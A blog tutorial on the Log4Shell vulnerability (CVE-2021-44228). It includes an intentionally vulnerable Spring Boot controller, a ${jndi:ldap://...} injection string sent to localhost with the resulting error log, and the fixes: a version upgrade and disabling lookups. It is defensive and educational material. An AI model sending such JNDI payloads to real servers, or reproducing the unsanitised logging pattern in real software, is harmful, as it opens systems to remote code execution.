DEV Community

Cover image for Log4j vulnerability
Arpan Bandyopadhyay
Arpan Bandyopadhyay

Posted on

Log4j vulnerability

What is Log4j?

log4j is a logging framework written in Java which is distributed under the Apache Software License.

Log4j2 is an updated version of Log4j.

Description of the vulnerability:
Apache Log4j2 2.0-beta9 through 2.12.1 and 2.13.0 through 2.15.0 JNDI features used in configuration, log messages, and parameters do not protect against attacker controlled LDAP and other JNDI related endpoints. An attacker who can control log messages or log message parameters can execute arbitrary code loaded from LDAP servers when message lookup substitution is enabled. From log4j 2.15.0, this behavior has been disabled by default. From version 2.16.0, this functionality has been completely removed. Note that this vulnerability is specific to log4j-core and does not affect log4net, log4cxx, or other Apache Logging Services projects.

The usage of the nasty vulnerability in the Java logging library Apache Log4j that allowed unauthenticated remote code execution.

What is RCE?
It stands for Remote code execution. It allows hacker to run any code in your application by hacking your application which is using log4j. This vulnerability nicknamed as Log4Shell.

What is Log4Shell vulnerability?
Log4Shell is a software vulnerability in Apache Log4j 2, a popular Java library for logging error messages in applications. The vulnerability, published as CVE-2021-44228, enables a remote attacker to take control of a device on the internet, if the device is running certain versions of Log4j 2.

There are multiple things that have happened all together resulted in this vulnerability

  • Log4j log expression: Log4j allows you to log expression.

Here is the example :

private static final Logger logger = LogManager.getLogger(TestController.class);
logger.error("error message: {}",exception.getMessage());
Enter fullscreen mode Exit fullscreen mode

Here first we are getting Logger object then in 2nd line , exception message from exception.getMessage() will be plugged in to “error message” inside {}- curly braces .

  • JNDI: It stands for Java Naming Directory Interface. JNDI allows you to store your java objects in a remote location and streaming them to your JVM.

Here is one example:

This is an sample LDAP URL :

ldap://192.168.3.2:8034/user=Arpan,city=bangalore,country=india
I can invoke this URL I will get serialized profile of Arpan from active directory.

This is not Log4j . This is Java feature.

  • JNDI Look up in log message: In 2013 JNDI lookup was introduced in log4j.

The JNDI look up allows variables to be retrieved via JNDI.

Good use case is centralized log configuration.

Image description

Here Log4j is going to look up the Value (Getting the prefix for logging message for my log message from JNDI by passing JNDI url as an argument) and inserted the value in the {}- curly braces .

This is the vulnerability:

How?

Lets say I have one search API which takes input from User and search it at server and returns response .

http://localhost:8080/search?data=

If we pass ${jndi:ldap://127.0.0.1:3089/} as a request parameter for data here , then log4j will make a JNDI call to it. This is a problem.

Here is a simple diagram which explains the vulnerability

Image description

Lets assume Hacker sets up one malicious JNDI server and sends a request which contains JNDI url for which end point is a malicious java class present in malicious JNDI server . Now Log4j will look up the url and makes an JNDI request to the JNDI server and JNDI server returns back a serialized malicious object which contains malicious content which can destroy and exploit the application. This is how hackers can have ability to put malicious code in the application's JVM .

This is what the vulnerability is.

Here I have prepared one demo to show the vulnerability .
To do this I have created one spring boot project , in which I have used log4j 2.14 dependency which is vulnerable and I have created one very simple API which returns String .

Image description

@RestController
public class TestController {
    private static final Logger logger = LogManager.getLogger(TestController.class);

    @GetMapping("/search")
    public String search(@RequestParam("data") String data) {
        logger.info("user input to search data : " + data);
        return data;
    }
}
Enter fullscreen mode Exit fullscreen mode

Now I will start my spring boot server and hit the server with data as "google". As a result it will return "google". Nothing issue in that.

Image description

In server logs also quite clean. No issue.

2021-12-20 00:58:36.307  INFO 17028 --- [nio-8080-exec-1] o.a.c.c.C.[.[.[/]                        : Initializing Spring DispatcherServlet 'dispatcherServlet'
2021-12-20 00:58:36.307  INFO 17028 --- [nio-8080-exec-1] o.s.w.s.DispatcherServlet                : Initializing Servlet 'dispatcherServlet'
2021-12-20 00:58:36.309  INFO 17028 --- [nio-8080-exec-1] o.s.w.s.DispatcherServlet                : Completed initialization in 1 ms
2021-12-20 00:58:36.402  INFO 17028 --- [nio-8080-exec-1] c.l.v.l.c.TestController                 : user input to search data : google 
Enter fullscreen mode Exit fullscreen mode

Now I am going to send JNDI url in data as request param .
Lets see what will happen
(Before sending the JNDI url , I have encoded the url)

Image description

From service response I have received whatever I have sent that's fine . But let's look in to the server log

2021-12-20 01:01:35,258 http-nio-8080-exec-3 WARN Error looking up JNDI resource [ldap://127.0.0.1:3089/]. javax.naming.CommunicationException: 127.0.0.1:3089 [Root exception is java.net.ConnectException: Connection refused: connect]
    at com.sun.jndi.ldap.Connection.<init>(Connection.java:238)
    at com.sun.jndi.ldap.LdapClient.<init>(LdapClient.java:137)
    at com.sun.jndi.ldap.LdapClient.getInstance(LdapClient.java:1609)
    at com.sun.jndi.ldap.LdapCtx.connect(LdapCtx.java:2749)
    at com.sun.jndi.ldap.LdapCtx.<init>(LdapCtx.java:319)
    at com.sun.jndi.url.ldap.ldapURLContextFactory.getUsingURLIgnoreRootDN(ldapURLContextFactory.java:60)
    at com.sun.jndi.url.ldap.ldapURLContext.getRootURLContext(ldapURLContext.java:61)
    at com.sun.jndi.toolkit.url.GenericURLContext.lookup(GenericURLContext.java:202)
    at com.sun.jndi.url.ldap.ldapURLContext.lookup(ldapURLContext.java:94)
    at javax.naming.InitialContext.lookup(InitialContext.java:417)
    at org.apache.logging.log4j.core.net.JndiManager.lookup(JndiManager.java:172)
    at org.apache.logging.log4j.core.lookup.JndiLookup.lookup(JndiLookup.java:56)
    at org.apache.logging.log4j.core.lookup.Interpolator.lookup(Interpolator.java:221)
    at org.apache.logging.log4j.core.lookup.StrSubstitutor.resolveVariable(StrSubstitutor.java:1110)
    at org.apache.logging.log4j.core.lookup.StrSubstitutor.substitute(StrSubstitutor.java:1033)
    at org.apache.logging.log4j.core.lookup.StrSubstitutor.substitute(StrSubstitutor.java:912)
    at org.apache.logging.log4j.core.lookup.StrSubstitutor.replace(StrSubstitutor.java:467)
    at org.apache.logging.log4j.core.pattern.MessagePatternConverter.format(MessagePatternConverter.java:132)
    at org.apache.logging.log4j.core.pattern.PatternFormatter.format(PatternFormatter.java:38)
    at org.apache.logging.log4j.core.layout.PatternLayout$PatternSerializer.toSerializable(PatternLayout.java:344)
    at org.apache.logging.log4j.core.layout.PatternLayout.toText(PatternLayout.java:244)
    at org.apache.logging.log4j.core.layout.PatternLayout.encode(PatternLayout.java:229)
    at org.apache.logging.log4j.core.layout.PatternLayout.encode(PatternLayout.java:59)
    at org.apache.logging.log4j.core.appender.AbstractOutputStreamAppender.directEncodeEvent(AbstractOutputStreamAppender.java:197)
    at org.apache.logging.log4j.core.appender.AbstractOutputStreamAppender.tryAppend(AbstractOutputStreamAppender.java:190)
    at org.apache.logging.log4j.core.appender.AbstractOutputStreamAppender.append(AbstractOutputStreamAppender.java:181)
    at org.apache.logging.log4j.core.config.AppenderControl.tryCallAppender(AppenderControl.java:156)
    at org.apache.logging.log4j.core.config.AppenderControl.callAppender0(AppenderControl.java:129)
    at org.apache.logging.log4j.core.config.AppenderControl.callAppenderPreventRecursion(AppenderControl.java:120)
    at org.apache.logging.log4j.core.config.AppenderControl.callAppender(AppenderControl.java:84)
    at org.apache.logging.log4j.core.config.LoggerConfig.callAppenders(LoggerConfig.java:540)
    at org.apache.logging.log4j.core.config.LoggerConfig.processLogEvent(LoggerConfig.java:498)
    at org.apache.logging.log4j.core.config.LoggerConfig.log(LoggerConfig.java:481)
    at org.apache.logging.log4j.core.config.LoggerConfig.log(LoggerConfig.java:456)
    at org.apache.logging.log4j.core.config.AwaitCompletionReliabilityStrategy.log(AwaitCompletionReliabilityStrategy.java:82)
    at org.apache.logging.log4j.core.Logger.log(Logger.java:161)
    at org.apache.logging.log4j.spi.AbstractLogger.tryLogMessage(AbstractLogger.java:2205)
    at org.apache.logging.log4j.spi.AbstractLogger.logMessageTrackRecursion(AbstractLogger.java:2159)
    at org.apache.logging.log4j.spi.AbstractLogger.logMessageSafely(AbstractLogger.java:2142)
    at org.apache.logging.log4j.spi.AbstractLogger.logMessage(AbstractLogger.java:2017)
    at org.apache.logging.log4j.spi.AbstractLogger.logIfEnabled(AbstractLogger.java:1983)
    at org.apache.logging.log4j.spi.AbstractLogger.info(AbstractLogger.java:1320)
    at com.log4j2.vulnerabilities.log4jdemo.controller.TestController.search(TestController.java:15)
    at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
    at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
    at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
    at java.lang.reflect.Method.invoke(Method.java:498)
    at org.springframework.web.method.support.InvocableHandlerMethod.doInvoke(InvocableHandlerMethod.java:205)
    at org.springframework.web.method.support.InvocableHandlerMethod.invokeForRequest(InvocableHandlerMethod.java:150)
    at org.springframework.web.servlet.mvc.method.annotation.ServletInvocableHandlerMethod.invokeAndHandle(ServletInvocableHandlerMethod.java:117)
    at org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerAdapter.invokeHandlerMethod(RequestMappingHandlerAdapter.java:895)
    at org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerAdapter.handleInternal(RequestMappingHandlerAdapter.java:808)
    at org.springframework.web.servlet.mvc.method.AbstractHandlerMethodAdapter.handle(AbstractHandlerMethodAdapter.java:87)
    at org.springframework.web.servlet.DispatcherServlet.doDispatch(DispatcherServlet.java:1067)
    at org.springframework.web.servlet.DispatcherServlet.doService(DispatcherServlet.java:963)
    at org.springframework.web.servlet.FrameworkServlet.processRequest(FrameworkServlet.java:1006)
    at org.springframework.web.servlet.FrameworkServlet.doGet(FrameworkServlet.java:898)
    at javax.servlet.http.HttpServlet.service(HttpServlet.java:634)
    at org.springframework.web.servlet.FrameworkServlet.service(FrameworkServlet.java:883)
    at javax.servlet.http.HttpServlet.service(HttpServlet.java:741)
    at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:231)
    at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:166)
    at org.apache.tomcat.websocket.server.WsFilter.doFilter(WsFilter.java:53)
    at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:193)
    at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:166)
    at org.springframework.web.filter.RequestContextFilter.doFilterInternal(RequestContextFilter.java:100)
    at org.springframework.web.filter.OncePerRequestFilter.doFilter(OncePerRequestFilter.java:119)
    at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:193)
    at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:166)
    at org.springframework.web.filter.FormContentFilter.doFilterInternal(FormContentFilter.java:93)
    at org.springframework.web.filter.OncePerRequestFilter.doFilter(OncePerRequestFilter.java:119)
    at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:193)
    at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:166)
    at org.springframework.web.filter.CharacterEncodingFilter.doFilterInternal(CharacterEncodingFilter.java:201)
    at org.springframework.web.filter.OncePerRequestFilter.doFilter(OncePerRequestFilter.java:119)
    at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:193)
    at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:166)
    at org.apache.catalina.core.StandardWrapperValve.invoke(StandardWrapperValve.java:202)
    at org.apache.catalina.core.StandardContextValve.invoke(StandardContextValve.java:96)
    at org.apache.catalina.authenticator.AuthenticatorBase.invoke(AuthenticatorBase.java:526)
    at org.apache.catalina.core.StandardHostValve.invoke(StandardHostValve.java:139)
    at org.apache.catalina.valves.ErrorReportValve.invoke(ErrorReportValve.java:92)
    at org.apache.catalina.core.StandardEngineValve.invoke(StandardEngineValve.java:74)
    at org.apache.catalina.connector.CoyoteAdapter.service(CoyoteAdapter.java:343)
    at org.apache.coyote.http11.Http11Processor.service(Http11Processor.java:408)
    at org.apache.coyote.AbstractProcessorLight.process(AbstractProcessorLight.java:66)
    at org.apache.coyote.AbstractProtocol$ConnectionHandler.process(AbstractProtocol.java:860)
    at org.apache.tomcat.util.net.NioEndpoint$SocketProcessor.doRun(NioEndpoint.java:1589)
    at org.apache.tomcat.util.net.SocketProcessorBase.run(SocketProcessorBase.java:49)
    at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1149)
    at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
    at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61)
    at java.lang.Thread.run(Thread.java:748)
Caused by: java.net.ConnectException: Connection refused: connect
    at java.net.DualStackPlainSocketImpl.connect0(Native Method)
    at java.net.DualStackPlainSocketImpl.socketConnect(DualStackPlainSocketImpl.java:79)
    at java.net.AbstractPlainSocketImpl.doConnect(AbstractPlainSocketImpl.java:350)
    at java.net.AbstractPlainSocketImpl.connectToAddress(AbstractPlainSocketImpl.java:206)
    at java.net.AbstractPlainSocketImpl.connect(AbstractPlainSocketImpl.java:188)
    at java.net.PlainSocketImpl.connect(PlainSocketImpl.java:172)
    at java.net.SocksSocketImpl.connect(SocksSocketImpl.java:392)
    at java.net.Socket.connect(Socket.java:589)
    at java.net.Socket.connect(Socket.java:538)
    at java.net.Socket.<init>(Socket.java:434)
    at java.net.Socket.<init>(Socket.java:211)
    at com.sun.jndi.ldap.Connection.createSocket(Connection.java:375)
    at com.sun.jndi.ldap.Connection.<init>(Connection.java:215)
    ... 92 more

2021-12-20 01:01:33.090  INFO 17028 --- [nio-8080-exec-3] c.l.v.l.c.TestController                 : user input to search data : ${jndi:ldap://127.0.0.1:3089/}
Enter fullscreen mode Exit fullscreen mode

Here we can see Log4j is trying to access the JNDI url to get the value to inject it in to the log message. With the same way hacker can send his/her malicious JNDI server details as an input and send their malicious object to the actual running application and can exploit it .

Now question is how to solve this :

  1. You can update the version of log4j2 to 2.17

How?
To do this just add below property to your build.gradle
ext['log4j2.version'] = '2.17.0'

  1. You can disable the look up by passing the JVM arguments in the configuration.

How?

Go to Edit configuration and do the following and add VM option and add below
-Dlog4j2.formatMsgNoLookups=true

Image description

Image description

Click apply & ok. Then Restart the server.
After doing the above changes I will hit the same URL again. Now we can see the logs that JNDI look up does not happen.

2021-12-20 01:12:37.671  INFO 20384 --- [nio-8080-exec-1] o.a.c.c.C.[.[.[/]                        : Initializing Spring DispatcherServlet 'dispatcherServlet'
2021-12-20 01:12:37.672  INFO 20384 --- [nio-8080-exec-1] o.s.w.s.DispatcherServlet                : Initializing Servlet 'dispatcherServlet'
2021-12-20 01:12:37.674  INFO 20384 --- [nio-8080-exec-1] o.s.w.s.DispatcherServlet                : Completed initialization in 2 ms
2021-12-20 01:12:37.761  INFO 20384 --- [nio-8080-exec-1] c.l.v.l.c.TestController                 : user input to search data : ${jndi:ldap://127.0.0.1:3089/}
Enter fullscreen mode Exit fullscreen mode

I hope log4j vulnerability is clear to all now .

This is the github link where I kept this code .
https://github.com/ArpanForGeek/log4jdemo.git

Reference: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-44228

Happy learning

Thanks
Arpan

Let's connect:
LinkedIn : https://www.linkedin.com/in/arpan-bandyopadhyay-bb5b1a54/

Top comments (2)

Collapse
 
stutipai profile image
stutipai

Simple to understand and nicely explained!

Collapse
 
satindersidhu profile image
Satinder Sidhu

Very well done. Thanks for helping the community.